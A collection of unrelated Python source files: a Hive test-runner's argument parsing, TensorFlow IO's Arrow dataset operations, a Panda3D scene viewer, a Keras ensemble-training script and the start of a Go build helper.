help = 'Runs tests on all test machines')
parser.add_argument('--test', action = 'store_true', dest = 'test',
help = 'Same as running `prepare` and then `run-tests`')
parser.add_argument('--report-name', dest = 'report_name',
help = 'Store report and logs directory called `REPORT_NAME`')
parser.add_argument('--stop', action = 'store_true', dest = 'stop',
help = 'Kill misbehaving tests on all machines')
parser.add_argument('--remove', action = 'store_true', dest = 'remove',
help = 'Remove Hive trunk copies from test machines')
parser.add_argument('--revision', dest = 'revision',
help = 'Differential revision to test')
parser.add_argument('--patch', dest = 'patch', nargs = '*',
help = 'Patches from local file system to test')
parser.add_argument('--one-file-report', dest = 'one_file_report',
action = 'store_true',
help = 'Generate one (huge) report file instead of multiple small ones')
parser.add_argument('--overwrite', dest = 'overwrite', action = 'store_true',
help = 'Overwrite result files in master repo')
args = parser.parse_args()
read_conf(args.config)
if args.report_name:
report_path = '/'.join(report_path.split('/')[:-1] + [args.report_name])
if args.prepare:
cmd_prepare(args.patch, args.revision)
elif args.run_tests:
cmd_run_tests(args.one_file_report)
elif args.test:
cmd_test(args.patch, args.revision, args.one_file_report)
elif args.stop:
cmd_stop()
elif args.remove:
cmd_remove()
|
arrow_dataset_ops.py | # Copyright 2017 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# ==============================================================================
"""Arrow Dataset."""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from functools import partial
import io
from itertools import chain
import os
import socket
import threading
import tempfile
import tensorflow as tf
from tensorflow import dtypes
from tensorflow.python.data.ops import dataset_ops
from tensorflow.python.data.util import structure as structure_lib
from tensorflow_io.core.python.ops import core_ops
if hasattr(tf, "nest"):
from tensorflow import nest # pylint: disable=ungrouped-imports
else:
from tensorflow.python.data.util import nest # pylint: disable=ungrouped-imports
def arrow_to_tensor_type(pa_t):
"""Convert Arrow type to tuple of (Tensor dtype, shape dims).
This function requires pyarrow to be installed.
"""
import pyarrow as pa
shape_dims = [] # initialize shape as scalar
if pa.types.is_boolean(pa_t):
tf_t = dtypes.bool
elif pa.types.is_int8(pa_t):
tf_t = dtypes.int8
elif pa.types.is_int16(pa_t):
tf_t = dtypes.int16
elif pa.types.is_int32(pa_t):
tf_t = dtypes.int32
elif pa.types.is_int64(pa_t):
tf_t = dtypes.int64
elif pa.types.is_uint8(pa_t):
tf_t = dtypes.uint8
elif pa.types.is_uint16(pa_t):
tf_t = dtypes.uint16
elif pa.types.is_uint32(pa_t):
tf_t = dtypes.uint32
elif pa.types.is_uint64(pa_t):
tf_t = dtypes.uint64
elif pa.types.is_float16(pa_t):
tf_t = dtypes.float16
elif pa.types.is_float32(pa_t):
tf_t = dtypes.float32
elif pa.types.is_float64(pa_t):
tf_t = dtypes.float64
elif pa.types.is_list(pa_t):
if pa.types.is_list(pa_t.value_type):
raise TypeError("Nested arrays are not currently supported: " + str(pa_t))
tf_t, shape_dims = arrow_to_tensor_type(pa_t.value_type)
shape_dims.append(None) # pyarrow scalar arrays can be variable length
else:
raise TypeError("Unsupported type in conversion from Arrow: " + str(pa_t))
return tf_t, shape_dims
def arrow_schema_to_tensor_types(schema):
"""Convert an Arrow schema to tuple of (Tensor dtypes, TensorShapes).
This function requires pyarrow to be installed.
"""
type_shape_list = [arrow_to_tensor_type(field.type) for field in schema]
tensor_types, shape_dims = zip(*type_shape_list)
tensor_shapes = tuple(tf.TensorShape(s) for s in shape_dims)
return tensor_types, tensor_shapes
class ArrowBaseDataset(dataset_ops.DatasetV2):
"""Base class for Arrow Datasets to provide columns used in record batches
and corresponding output tensor types, shapes and classes.
"""
batch_modes_supported = ('keep_remainder', 'drop_remainder', 'auto')
def __init__(self,
make_variant_fn,
columns,
output_types,
output_shapes=None,
batch_size=None,
batch_mode='keep_remainder'):
self._columns = columns
self._structure = structure_lib.convert_legacy_structure(
output_types,
output_shapes or nest.map_structure(
lambda _: tf.TensorShape(None), output_types),
nest.map_structure(lambda _: tf.Tensor, output_types))
self._batch_size = tf.convert_to_tensor(
batch_size or 0,
dtype=dtypes.int64,
name="batch_size")
if batch_mode not in self.batch_modes_supported:
raise ValueError(
"Unsupported batch_mode: '{}', must be one of {}"
.format(batch_mode, self.batch_modes_supported))
self._batch_mode = tf.convert_to_tensor(
batch_mode,
dtypes.string,
name="batch_mode")
if batch_size is not None or batch_mode == 'auto':
spec_batch_size = batch_size if batch_mode == 'drop_remainder' else None
# pylint: disable=protected-access
self._structure = nest.map_structure(
lambda component_spec: component_spec._batch(spec_batch_size),
self._structure)
print(self._flat_structure)
variant_tensor = make_variant_fn(
columns=self._columns,
batch_size=self._batch_size,
batch_mode=self._batch_mode,
**self._flat_structure)
super(ArrowBaseDataset, self).__init__(variant_tensor)
def _inputs(self):
return []
@property
def element_spec(self):
return self._structure
@property
def columns(self):
return self._columns
@property
def batch_size(self):
return self._batch_size
@property
def batch_mode(self):
return self._batch_mode
class ArrowDataset(ArrowBaseDataset):
"""An Arrow Dataset from record batches in memory, or a Pandas DataFrame.
"""
def __init__(self,
serialized_batches,
columns,
output_types,
output_shapes=None,
batch_size=None,
batch_mode='keep_remainder',
arrow_buffer=None):
"""Create an ArrowDataset from a Tensor of serialized batches.
This constructor requires pyarrow to be installed.
Args:
serialized_batches: A string Tensor as a serialized buffer containing
Arrow record batches in Arrow File format
columns: A list of column indices to be used in the Dataset
output_types: Tensor dtypes of the output tensors
output_shapes: TensorShapes of the output tensors or None to
infer partial
batch_size: Batch size of output tensors, setting a batch size here
will create batched Tensors from Arrow memory and can be more
efficient than using tf.data.Dataset.batch().
NOTE: batch_size does not need to be set if batch_mode='auto'
batch_mode: Mode of batching, supported strings:
"keep_remainder" (default, keeps partial batch data),
"drop_remainder" (discard partial batch data),
"auto" (size to number of records in Arrow record batch)
arrow_buffer: Optional Arrow Buffer containing Arrow record batches in
Arrow File format. This will share the Arrow buffer with
the C++ kernel by address for zero-copy. Only supported if
the kernel process is local, with TensorFlow in eager mode.
If this is used, set `serialized_batches` to `None`.
"""
if serialized_batches is not None:
make_variant_fn = partial(
core_ops.io_arrow_serialized_dataset,
serialized_batches)
elif arrow_buffer is None:
raise ValueError("Must set either serialzied_batches or arrow_buffer")
elif not tf.executing_eagerly():
raise ValueError("Using arrow_buffer for zero-copy only supported in "
"TensorFlow Eager mode.")
else:
address_int = arrow_buffer.address
buffer_address = tf.convert_to_tensor(
address_int,
dtype=dtypes.uint64,
name="buffer_address")
buffer_size = tf.convert_to_tensor(
arrow_buffer.size,
dtype=dtypes.int64,
name="buffer_size")
make_variant_fn = partial(
core_ops.io_arrow_zero_copy_dataset,
buffer_address,
buffer_size)
# Keep a reference to the arrow buffers used
self._arrow_buffer_refs = [arrow_buffer]
super(ArrowDataset, self).__init__(
make_variant_fn,
columns,
output_types,
output_shapes,
batch_size,
batch_mode)
@classmethod
def from_record_batches(cls,
record_batches,
output_types,
output_shapes=None,
columns=None,
batch_size=None,
batch_mode='keep_remainder'):
"""Create an ArrowDataset directly from Arrow record batches.
This constructor requires pyarrow to be installed.
Args:
record_batches: An Arrow record batch or sequence of record batches
output_types: Tensor dtypes of the output tensors
output_shapes: TensorShapes of the output tensors or None to
infer partial
batch_size: Batch size of output tensors, setting a batch size here
will create batched tensors from Arrow memory and can be more
efficient than using tf.data.Dataset.batch().
NOTE: batch_size does not need to be set if batch_mode='auto'
batch_mode: Mode of batching, supported strings:
"keep_remainder" (default, keeps partial batch data),
"drop_remainder" (discard partial batch data),
"auto" (size to number of records in Arrow record batch)
columns: A list of column indices to be used in the Dataset
"""
import pyarrow as pa
if isinstance(record_batches, pa.RecordBatch):
record_batches = [record_batches]
if columns is None:
columns = tuple(range(record_batches[0].num_columns))
assert record_batches
if tf.executing_eagerly():
sink = pa.BufferOutputStream()
writer = pa.RecordBatchFileWriter(sink, record_batches[0].schema)
for batch in record_batches:
writer.write_batch(batch)
writer.close()
serialized_batches = None
arrow_buffer = sink.getvalue()
else:
buf = io.BytesIO()
writer = pa.RecordBatchFileWriter(buf, record_batches[0].schema)
for batch in record_batches:
writer.write_batch(batch)
writer.close()
serialized_batches = tf.convert_to_tensor(
buf.getvalue(),
dtype=dtypes.string,
name="serialized_batches")
arrow_buffer = None
return cls(
serialized_batches,
columns,
output_types,
output_shapes,
batch_size=batch_size,
batch_mode=batch_mode,
arrow_buffer=arrow_buffer)
@classmethod
def from_pandas(cls,
df,
columns=None,
preserve_index=True,
batch_size=None,
batch_mode='keep_remainder'):
"""Create an ArrowDataset from a given Pandas DataFrame. Output types
and shapes are inferred from the Arrow schema after DataFrame conversion.
If preserve_index is True, the DataFrame index will be the last column.
This method requires pyarrow to be installed.
Args:
df: a Pandas DataFrame
columns: Optional column indices to use, if None all are used
preserve_index: Flag to include the DataFrame index as the last column
batch_size: Batch size of output tensors, setting a batch size here
will create batched tensors from Arrow memory and can be more
efficient than using tf.data.Dataset.batch().
NOTE: batch_size does not need to be set if batch_mode='auto'
batch_mode: Mode of batching, supported strings:
"keep_remainder" (default, keeps partial batch data),
"drop_remainder" (discard partial batch data),
"auto" (size to number of records in Arrow record batch)
"""
import pyarrow as pa
if columns is not None:
df = df.iloc[:, list(columns)]
batch = pa.RecordBatch.from_pandas(df, preserve_index=preserve_index)
columns = tuple(range(batch.num_columns))
output_types, output_shapes = arrow_schema_to_tensor_types(batch.schema)
return cls.from_record_batches(
batch,
output_types,
output_shapes,
columns=columns,
batch_size=batch_size,
batch_mode=batch_mode)
class ArrowFeatherDataset(ArrowBaseDataset):
"""An Arrow Dataset for reading record batches from Arrow feather files.
Feather is a light-weight columnar format ideal for simple writing of
Pandas DataFrames. Pyarrow can be used for reading/writing Feather files,
see https://arrow.apache.org/docs/python/ipc.html#feather-format
"""
def __init__(self,
filenames,
columns,
output_types,
output_shapes=None,
batch_size=None,
batch_mode='keep_remainder'):
"""Create an ArrowDataset from one or more Feather file names.
Args:
filenames: A `tf.string` tensor, Python list or scalar containing files
in Arrow Feather format
columns: A list of column indices to be used in the Dataset
output_types: Tensor dtypes of the output tensors
output_shapes: TensorShapes of the output tensors or None to
infer partial
batch_size: Batch size of output tensors, setting a batch size here
will create batched tensors from Arrow memory and can be more
efficient than using tf.data.Dataset.batch().
NOTE: batch_size does not need to be set if batch_mode='auto'
batch_mode: Mode of batching, supported strings:
"keep_remainder" (default, keeps partial batch data),
"drop_remainder" (discard partial batch data),
"auto" (size to number of records in Arrow record batch)
"""
filenames = tf.convert_to_tensor(
filenames,
dtype=dtypes.string,
name="filenames")
super(ArrowFeatherDataset, self).__init__(
partial(core_ops.io_arrow_feather_dataset, filenames),
columns,
output_types,
output_shapes,
batch_size,
batch_mode)
@classmethod
def from_schema(cls,
filenames,
schema,
columns=None,
batch_size=None,
batch_mode='keep_remainder'):
"""Create an Arrow Dataset for reading record batches from Arrow feather
files, inferring output types and shapes from the given Arrow schema.
This method requires pyarrow to be installed.
Args:
filenames: A `tf.string` tensor, Python list or scalar containing files
in Arrow Feather format
schema: Arrow schema defining the record batch data in the stream
columns: A list of column indicies to use from the schema, None for all
batch_size: Batch size of output tensors, setting a batch size here
will create batched tensors from Arrow memory and can be more
efficient than using tf.data.Dataset.batch().
NOTE: batch_size does not need to be set if batch_mode='auto'
batch_mode: Mode of batching, supported strings:
"keep_remainder" (default, keeps partial batch data),
"drop_remainder" (discard partial batch data),
"auto" (size to number of records in Arrow record batch)
"""
if columns is None:
columns = list(range(len(schema)))
output_types, output_shapes = arrow_schema_to_tensor_types(schema)
return cls(
filenames,
columns,
output_types,
output_shapes,
batch_size,
batch_mode)
class ArrowStreamDataset(ArrowBaseDataset):
"""An Arrow Dataset for reading record batches from an input stream.
Currently supported input streams are a socket client or stdin.
"""
def __init__(self,
endpoints,
columns,
output_types,
output_shapes=None,
batch_size=None,
batch_mode='keep_remainder'):
"""Create an ArrowDataset from an input stream.
Args:
endpoints: A `tf.string` tensor, Python list or scalar string defining the
input stream.
`endpoints` supports the following formats:
- "host:port": IPv4 address (default)
- "tcp://<host:port>": IPv4 address,
- "unix://<path>": local path as unix socket address,
- "fd://<number>": STDIN or file descriptor number. For
STDIN, use "fd://0" or "fd://-".
columns: A list of column indices to be used in the Dataset
output_types: Tensor dtypes of the output tensors
output_shapes: TensorShapes of the output tensors or None to
infer partial
batch_size: Batch size of output tensors, setting a batch size here
will create batched tensors from Arrow memory and can be more
efficient than using tf.data.Dataset.batch().
NOTE: batch_size does not need to be set if batch_mode='auto'
batch_mode: Mode of batching, supported strings:
"keep_remainder" (default, keeps partial batch data),
"drop_remainder" (discard partial batch data),
"auto" (size to number of records in Arrow record batch)
"""
endpoints = tf.convert_to_tensor(
endpoints,
dtype=dtypes.string,
name="endpoints")
super(ArrowStreamDataset, self).__init__(
partial(core_ops.io_arrow_stream_dataset, endpoints),
columns,
output_types,
output_shapes,
batch_size,
batch_mode)
@classmethod
def from_schema(cls,
endpoints,
schema,
columns=None,
batch_size=None,
batch_mode='keep_remainder'):
"""Create an Arrow Dataset from an input stream, inferring output types
and shapes from the given Arrow schema.
This method requires pyarrow to be installed.
Args:
endpoints: A `tf.string` tensor, Python list or scalar string defining the
input stream.
`endpoints` supports the following formats:
- "host:port": IPv4 address (default)
- "tcp://<host:port>": IPv4 address,
- "unix://<path>": local path as unix socket address,
- "fd://<number>": STDIN or file descriptor number. For
STDIN, use "fd://0" or "fd://-".
schema: Arrow schema defining the record batch data in the stream
columns: A list of column indicies to use from the schema, None for all
batch_size: Batch size of output tensors, setting a batch size here
will create batched tensors from Arrow memory and can be more
efficient than using tf.data.Dataset.batch().
NOTE: batch_size does not need to be set if batch_mode='auto'
batch_mode: Mode of batching, supported strings:
"keep_remainder" (default, keeps partial batch data),
"drop_remainder" (discard partial batch data),
"auto" (size to number of records in Arrow record batch)
"""
if columns is None:
columns = list(range(len(schema)))
output_types, output_shapes = arrow_schema_to_tensor_types(schema)
return cls(
endpoints,
columns,
output_types,
output_shapes,
batch_size,
batch_mode)
@classmethod
def from_record_batches(cls,
record_batch_iter,
output_types,
output_shapes=None,
columns=None,
batch_size=None,
batch_mode='keep_remainder',
record_batch_iter_factory=None):
"""Create an ArrowStreamDataset by serving a sequence of Arrow record
batches in a background thread.
This constructor requires pyarrow to be installed.
Args:
record_batch_iter: A sequence or iterator of Arrow record batches
output_types: Tensor dtypes of the output tensors
output_shapes: TensorShapes of the output tensors or None to
infer partial
columns: Optional list of column indices to be used, if None all are used
batch_size: Batch size of output tensors, setting a batch size here
will create batched tensors from Arrow memory and can be more
efficient than using tf.data.Dataset.batch().
NOTE: batch_size does not need to be set if batch_mode='auto'
batch_mode: Mode of batching, supported strings:
"keep_remainder" (default, keeps partial batch data),
"drop_remainder" (discard partial batch data),
"auto" (size to number of records in Arrow record batch)
record_batch_iter_factory: Optional factory to create additional record
batch iterators for multiple iterations.
"""
import pyarrow as pa
# Create a UDS server by default if not Windows
if os.name != "nt":
sock_path = os.path.join(tempfile.gettempdir(), 'arrow_io_stream.sock')
endpoint = 'unix://{}'.format(sock_path)
try:
os.unlink(sock_path)
except OSError:
if os.path.exists(sock_path):
raise
sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
sock.bind(sock_path)
# Create a TCP server
else:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.bind(('127.0.0.1', 0))
host_addr, port = sock.getsockname()
endpoint = '{}:{}'.format(host_addr, port)
sock.listen(1)
def run_server():
"""serve record batches"""
curr_iter = record_batch_iter
while True:
conn, _ = sock.accept()
outfile = conn.makefile(mode='wb')
writer = None
try:
for batch in curr_iter:
if writer is None:
writer = pa.RecordBatchStreamWriter(outfile, batch.schema)
writer.write_batch(batch)
if record_batch_iter_factory is not None:
curr_iter = record_batch_iter_factory()
finally:
if writer is not None:
writer.close()
outfile.close()
conn.close()
sock.close()
# Run the server in a thread
server = threading.Thread(target=run_server)
server.daemon = True
server.start()
if columns is None:
columns = list(range(len(output_types)))
return cls(
endpoint,
columns,
output_types,
output_shapes,
batch_size,
batch_mode)
@classmethod
def from_pandas(cls,
data_frames,
columns=None,
preserve_index=True,
batch_size=None):
"""Create an ArrowStreamDataset by serving a DataFrame, or batches of a
DataFrame in a background thread.
This constructor requires pandas and pyarrow to be installed.
Args:
data_frames: A Pandas DataFrame or sequence of DataFrames
columns: Optional column indices to use, if None all are used
preserve_index: Flag to include the DataFrame index as the last column
batch_size: Batch size of output tensors, setting a batch size here
will create batched tensors from Arrow memory and can be more
efficient than using tf.data.Dataset.batch().
NOTE: Currently, only 'keep_remainder' batch mode supported
"""
import pandas as pd
import pyarrow as pa
if isinstance(data_frames, pd.DataFrame):
data_frames = [data_frames]
def gen_record_batches():
"""record batch generator"""
for df in data_frames:
if columns is not None:
df = df.iloc[:, list(columns)]
# If batching, slice DataFrame and convert to record batches
if batch_size is not None:
# Pandas will produce a partial batch if there is a remainder
for i in range(0, len(df), batch_size):
df_slice = df[i:i + batch_size]
batch = pa.RecordBatch.from_pandas(
df_slice, preserve_index=preserve_index)
yield batch
# Not batching, convert entire DataFrame to one record batch
else:
batch = pa.RecordBatch.from_pandas(
df, preserve_index=preserve_index)
yield batch
# Get first batch to convert schema to output types and shapes
record_batch_iter = gen_record_batches()
batch = next(record_batch_iter)
output_types, output_shapes = arrow_schema_to_tensor_types(batch.schema)
return cls.from_record_batches(
chain([batch], record_batch_iter),
output_types,
output_shapes,
batch_size=batch_size,
batch_mode='keep_remainder',
record_batch_iter_factory=gen_record_batches)
def list_feather_columns(filename, **kwargs):
"""list_feather_columns"""
if not tf.executing_eagerly():
raise NotImplementedError("list_feather_columns only support eager mode")
memory = kwargs.get("memory", "")
columns, dtypes_, shapes = core_ops.io_list_feather_columns(
filename, memory=memory)
entries = zip(tf.unstack(columns), tf.unstack(dtypes_), tf.unstack(shapes))
return dict([(column.numpy().decode(), tf.TensorSpec(
shape.numpy(), dtype.numpy().decode(), column.numpy().decode())) for (
column, dtype, shape) in entries])
|
main.py | from direct.showbase.ShowBase import ShowBase
from panda3d.core import *
from math import pi
class MyApp(ShowBase):
def left(self):
#print(self.scene.set)
h = app.scene.getH()+1
app.scene.setH(h)
print("left", h)
def right(self):
h = app.scene.getH()-1
app.scene.setH(h)
print("right", h)
def forward(self):
p = app.scene.getP()-1
app.scene.setP(p)
print("forward", p)
def backward(self):
p = app.scene.getP()+1
app.scene.setP(p)
print("backward", p)
def up(self):
r = app.scene.getR()+1
app.scene.setR(r)
print("up")
def down(self):
r = app.scene.getR()-1
app.scene.setR(r)
print("backward", r)
def status(self):
print(self.scene.getHpr())
print(app.scene.getPos())
def __init__(self):
ShowBase.__init__(self)
# Load the environment model.
self.scene = self.loader.loadModel("LivingRoom.egg")
#self.scene = self.loader.loadModel("models/environment")
# Reparent the model to render.
self.scene.reparentTo(self.render)
# Apply scale and position transforms on the model.
self.scene.setScale(1, 1, 1)
self.scene.setPos(-1, -1, .05)
self.scene.setHpr(30,30,0)
plight = PointLight('plight')
plight.setColor(VBase4(1, 1, 1, 1))
#plight.setAttenuation((1, 0, 1))
plnp = self.render.attachNewNode(plight)
plnp.setPos(0,0,1)
self.render.setLight(plnp)
self.accept("arrow_up", self.forward)
self.accept("arrow_down", self.backward)
self.accept("arrow_left", self.left)
self.accept("arrow_right", self.right)
self.accept("page_up", self.up)
self.accept("page_down", self.down)
self.accept("space", self.status)
# interactive console
from direct.stdpy import threading
from code import InteractiveConsole
ic = InteractiveConsole(globals())
threading.Thread(target=ic.interact).start()
# start
app = MyApp()
app.run()
#not reached
app.scene
print("\n".join(dir(app.scene)))
|
train_ensemble_old.py | import gc
import time
from datetime import datetime
from multiprocessing import Process
import cv2
import nvidia_smi
import tensorflow as tf
import tensorflow.keras.backend as K
from tensorflow.keras.callbacks import LearningRateScheduler, ModelCheckpoint, TensorBoard
from tensorflow.keras.losses import binary_crossentropy
from tensorflow.keras.optimizers import RMSprop, Adam, SGD
from aug.transforms import aug_mega_hardcore
cv2.setNumThreads(0)
cv2.ocl.setUseOpenCL(False)
#os.environ['CUDA_VISIBLE_DEVICES'] = args.gpu
from datasets.dsb_binary import DSB2018BinaryDataset
from losses import make_loss, hard_dice_coef, hard_dice_coef_ch1
from models.ensemble_factory import make_ensemble
from params import args
class EnsembleCheckpointMGPU(ModelCheckpoint):
def __init__(self, original_model, filepath, monitor='val_loss', verbose=0, save_best_only=False, save_weights_only=False, mode='auto', period=1):
self.original_model = original_model
super().__init__(filepath, monitor, verbose, save_best_only, save_weights_only, mode, period)
def on_epoch_end(self, epoch, logs=None):
self.model = self.original_model
super().on_epoch_end(epoch, logs)
gpus = tf.config.experimental.list_physical_devices('GPU')
for gpu in gpus:
tf.config.experimental.set_memory_growth(gpu, True)
def freeze_model(model, freeze_before_layer):
if freeze_before_layer == "ALL":
for l in model.layers:
l.trainable = False
else:
freeze_before_layer_index = -1
for i, l in enumerate(model.layers):
if l.name == freeze_before_layer:
freeze_before_layer_index = i
for l in model.layers[:freeze_before_layer_index + 1]:
l.trainable = False
def count_free_gpu_memory():
free_mem_MiB = []
gpus = tf.config.experimental.list_physical_devices('GPU')
#nvidia_smi.nvmlInit() Moved to def main
for i in range(len(gpus)):
handle = nvidia_smi.nvmlDeviceGetHandleByIndex(i)
info = nvidia_smi.nvmlDeviceGetMemoryInfo(handle)
free_MiB = info.free/2**20
free_mem_MiB.append(free_MiB)
#nvidia_smi.nvmlShutdown() Moved to def main
return free_mem_MiB
def main():
if args.crop_size:
print('Using crops of shape ({}, {})'.format(args.crop_size, args.crop_size))
elif args.resize_size:
print('Using resizes of shape ({}, {})'.format(args.resize_size, args.resize_size))
else:
print('Using full size images')
# if args.multi_gpu:
# with tf.device("/cpu:0"):
# model = make_model(args.network,
# (None, None, args.channels),
# pretrained_weights=args.pretrained_weights,
# do_p=args.dropout_rate)
# else:
network_args = {'network': args.network,
'input_shape': (None, None, args.channels),
'pretrained_weights': args.pretrained_weights,
'do_p': args.dropout_rate,
'resize_size': (args.resize_size, args.resize_size),
'total_training_steps': args.epochs * args.steps_per_epoch}
ensemble = make_ensemble(args.ensemble_type, network_args, networks_count=args.models_count)
if args.weights is None:
print('No weights passed, training from scratch')
else:
#weights_path = args.weights.format(fold)
weights_pattern = args.ensemble_weights_pattern
print('Loading weights from {} into {}-model ensemble'.format(weights_pattern, args.models_count))
for m_i, model in enumerate(ensemble):
model.load_weights(weights_pattern.replace('{}', m_i), by_name=True)
freeze_model(model, args.freeze_till_layer)
optimizer = RMSprop(lr=args.learning_rate)
if args.optimizer:
if args.optimizer == 'rmsprop':
optimizer = RMSprop(lr=args.learning_rate, decay=float(args.decay))
elif args.optimizer == 'adam':
optimizer = Adam(lr=args.learning_rate, decay=float(args.decay))
elif args.optimizer == 'amsgrad':
optimizer = Adam(lr=args.learning_rate, decay=float(args.decay), amsgrad=True)
elif args.optimizer == 'sgd':
optimizer = SGD(lr=args.learning_rate, momentum=0.9, nesterov=True, decay=float(args.decay))
#dataset = DSB2018BinaryDataset(args.images_dir, args.masks_dir, args.labels_dir, fold, args.n_folds, seed=args.seed)
dataset = DSB2018BinaryDataset(args.images_dir, args.masks_dir, args.channels, seed=args.seed)
random_transform = aug_mega_hardcore()
train_generator = dataset.train_generator((args.crop_size, args.crop_size), (args.resize_size, args.resize_size),
args.preprocessing_function, random_transform, batch_size=args.batch_size)
val_generator = dataset.val_generator((args.resize_size, args.resize_size), args.preprocessing_function, batch_size=args.batch_size)
#best_model_file = '{}/best_{}{}_fold{}.h5'.format(args.models_dir, args.alias, args.network,fold)
best_ensemble_file = '{}/best_{}{}_{}{}.h5'.format(args.models_dir, args.alias, args.network, args.ensemble_type, '$#')
best_ensemble = EnsembleCheckpointMGPU(ensemble, filepath=best_ensemble_file, monitor='val_loss',
verbose=1,
mode='min',
period='epoch',
save_best_only=True,
save_weights_only=True)
#last_model_file = '{}/last_{}{}_fold{}.h5'.format(args.models_dir, args.alias, args.network,fold)
last_model_file = '{}/last_{}{}.h5'.format(args.models_dir, args.alias, args.network)
last_ensemble = EnsembleCheckpointMGPU(ensemble, filepath=last_model_file, monitor='val_loss',
verbose=1,
mode='min',
period=args.save_period,
save_best_only=False,
save_weights_only=True)
# if args.multi_gpu:
# model = multi_gpu_model(model, len(gpus))
for model in ensemble:
model.compile(loss=make_loss(args.loss_function),
optimizer=optimizer,
metrics=[binary_crossentropy, hard_dice_coef_ch1, hard_dice_coef])
def schedule_steps(epoch, steps):
for step in steps:
if step[1] > epoch:
print("Setting learning rate to {}".format(step[0]))
return step[0]
print("Setting learning rate to {}".format(steps[-1][0]))
return steps[-1][0]
#callbacks = [best_model, last_model]
callbacks = [best_ensemble]
if args.schedule is not None:
steps = [(float(step.split(":")[0]), int(step.split(":")[1])) for step in args.schedule.split(",")]
lrSchedule = LearningRateScheduler(lambda epoch: schedule_steps(epoch, steps))
callbacks.insert(0, lrSchedule)
tb_log_dir_path = "logs/{}_{}".format(args.log_dir, datetime.now().strftime("%d.%m.%Y %H:%M:%S"))
tb = TensorBoard(tb_log_dir_path)
print(f"Saving tb logs to {tb_log_dir_path}")
callbacks.append(tb)
steps_per_epoch = len(dataset.train_ids) / args.batch_size + 1
if args.steps_per_epoch > 0:
steps_per_epoch = args.steps_per_epoch
validation_data = val_generator
validation_steps = len(dataset.val_ids) // val_generator.batch_size
fit_lambda = lambda model: model.fit(
train_generator,
steps_per_epoch=steps_per_epoch,
epochs=args.epochs,
validation_data=validation_data,
validation_steps=validation_steps,
callbacks=callbacks,
max_queue_size=5,
verbose=1,
workers=args.num_workers)
ensemble_processes = []
for model in ensemble:
ensemble_processes.append(Process(target=fit_lambda, args=(model,)))
waiting_for_start = ensemble_processes.copy()
nvidia_smi.nvmlInit()
running_processes = []
finished_processes = []
while len(waiting_for_start) > 0:
gpus_free_mem = count_free_gpu_memory()
for gpu_id, gpu_free_mem in enumerate(gpus_free_mem):
if gpu_free_mem > 8*2**10:
process_to_start = waiting_for_start.pop()
with tf.device(f'/device:gpu:{gpu_id}'):
process_to_start.start()
running_processes.append(process_to_start)
for p_i, running_process in enumerate(running_processes):
if not running_process.is_alive():
finished_processes.append(running_processes.pop(p_i))
print(f'Awaiting processes: {len(waiting_for_start)}\n'
f'Running processes: {len(running_processes)}\n'
f'Finised processes: {len(finished_processes)}')
time.sleep(60)
nvidia_smi.nvmlShutdown()
del model
K.clear_session()
gc.collect()
if __name__ == '__main__':
main()
import tensorflow as tf
gpus = tf.config.experimental.list_physical_devices('GPU')
for gpu in gpus:
tf.config.experimental.set_memory_growth(gpu, True)
a = tf.random.uniform((1024, 1024, 1024))
import tensorflow as tf
gpus = tf.config.list_physical_devices('GPU')
if gpus:
# Restrict TensorFlow to only allocate 1GB of memory on the first GPU
try:
tf.config.experimental.set_virtual_device_configuration(
gpus[0],
[tf.config.experimental.VirtualDeviceConfiguration(memory_limit=1000*9)])
logical_gpus = tf.config.experimental.list_logical_devices('GPU')
print(len(gpus), "Physical GPUs,", len(logical_gpus), "Logical GPUs")
except RuntimeError as e:
# Virtual devices must be set before GPUs have been initialized
print(e)
tf.random.uniform((1024, 1024, 1024)) |
go_tool.py | import argparse
import copy
import json
import os
import shutil
import subprocess
import sys
import tempfile
import threading
arc_project_prefix = 'a.yandex-team.ru/'
std_lib_prefix = 'contrib/go/_std/src/'
vendor_prefix = 'vendor/'
def compare_versions(version1, version2):
v1 = tuple(str(int(x)).zfill(8) for x in version1.split('.'))
v2 = tuple(str(int(x)).zfill(8) for x in version2.split('.'))
if v1 == v2:
return 0
return 1 if v1 < v2 else -1
def get_symlink_or_copyfile():
os_symlink = getattr(os, 'symlink', None)
if os_symlink is None:
os_symlink = shutil.copyfile
return os_symlink
def copy_args(args):
return copy.copy(args)
def get_vendor_index(import_path):
index = import_path.rfind('/' + vendor_prefix)
if index < 0:
index = 0 if import_path.startswith(vendor_prefix) else index
else:
index = index + 1
return index
def get_import_path(module_path):
assert len(module_path) > 0
import_path = module_path.replace('\\', '/')
is_std_module = import_path.startswith(std_lib_prefix)
if is_std_module:
import_path = import_path[len(std_lib_prefix):]
elif import_path.startswith(vendor_prefix):
import_path = import_path[len(vendor_prefix):]
else:
import_path = arc_project_prefix + import_path
assert len(import_path) > 0
return import_path, is_std_module
def call(cmd, cwd, env=None):
# print >>sys.stderr, ' '.join(cmd)
return subprocess.check_output(cmd, stdin=None, stderr=subprocess.STDOUT, cwd=cwd, env=env)
def classify_srcs(srcs, args):
args.go_srcs = list(filter(lambda x: x.endswith('.go'), srcs))
args.asm_srcs = list(filter(lambda x: x.endswith('.s'), srcs))
args.objects = list(filter(lambda x: x.endswith('.o') or x.endswith('.obj'), srcs))
args.symabis = list(filter(lambda x: x.endswith('.symabis'), srcs))
args.sysos = list(filter(lambda x: x.endswith('.syso'), srcs))
def get_import_config_info(peers, gen_importmap, import_map={}, module_map={}):
info = {'importmap': [], 'packagefile': [], 'standard': {}}
if gen_importmap:
for key, value in import_map.items():
info['importmap'].append((key, value))
for peer in peers:
peer_import_path, is_std = get_import_path(os.path.dirname(peer))
if gen_importmap:
index = get_vendor_index(peer_import_path)
if index >= 0:
index += len(vendor_prefix)
info['importmap'].append((peer_import_path[index:], peer_import_path))
info['packagefile'].append((peer_import_path, os.path.join(args.build_root, peer)))
if is_std:
info['standard'][peer_import_path] = True
for key, value in module_map.items():
info['packagefile'].append((key, value))
return info
def create_import_config(peers, gen_importmap, import_map={}, module_map={}):
lines = []
